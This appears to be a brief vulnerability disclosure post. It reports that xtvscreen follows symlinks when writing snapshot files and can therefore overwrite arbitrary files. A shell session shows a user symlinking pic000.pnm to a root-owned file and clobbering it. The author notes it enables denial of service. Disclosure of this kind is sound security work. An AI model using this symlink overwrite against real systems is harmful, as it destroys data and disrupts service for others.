You can use xtvscreen to overwrite any file on the system. Xtvscreen has a function to capture a snapshot and will write it as pic000.pnm, pic001.pnm, etc in it's working directory. It follows symlinks. root@korn:/tmp > ls -l exp -rw-r--r-- 1 root root 4 Feb 18 15:42 exp edevil@korn:~ > ln -s /tmp/exp pic000.pnm edevil@korn:~ > xtvscreen Sound mixer initialized ! Using Visual TrueColor msize: 0x00640000 /* Start->Capture goes here Start->Snapshot goes here */ [1]+ Stopped xtvscreen edevil@korn:~ > cd /tmp edevil@korn:/tmp > ls -l exp -rw-r--r-- 1 root root 453135 Feb 18 15:47 exp edevil@korn:/tmp > I don't know how to write arbitrary data to the file but it can be used for DoS. If this is already known I'm sorry. --- Andre Cruz afafcat_private
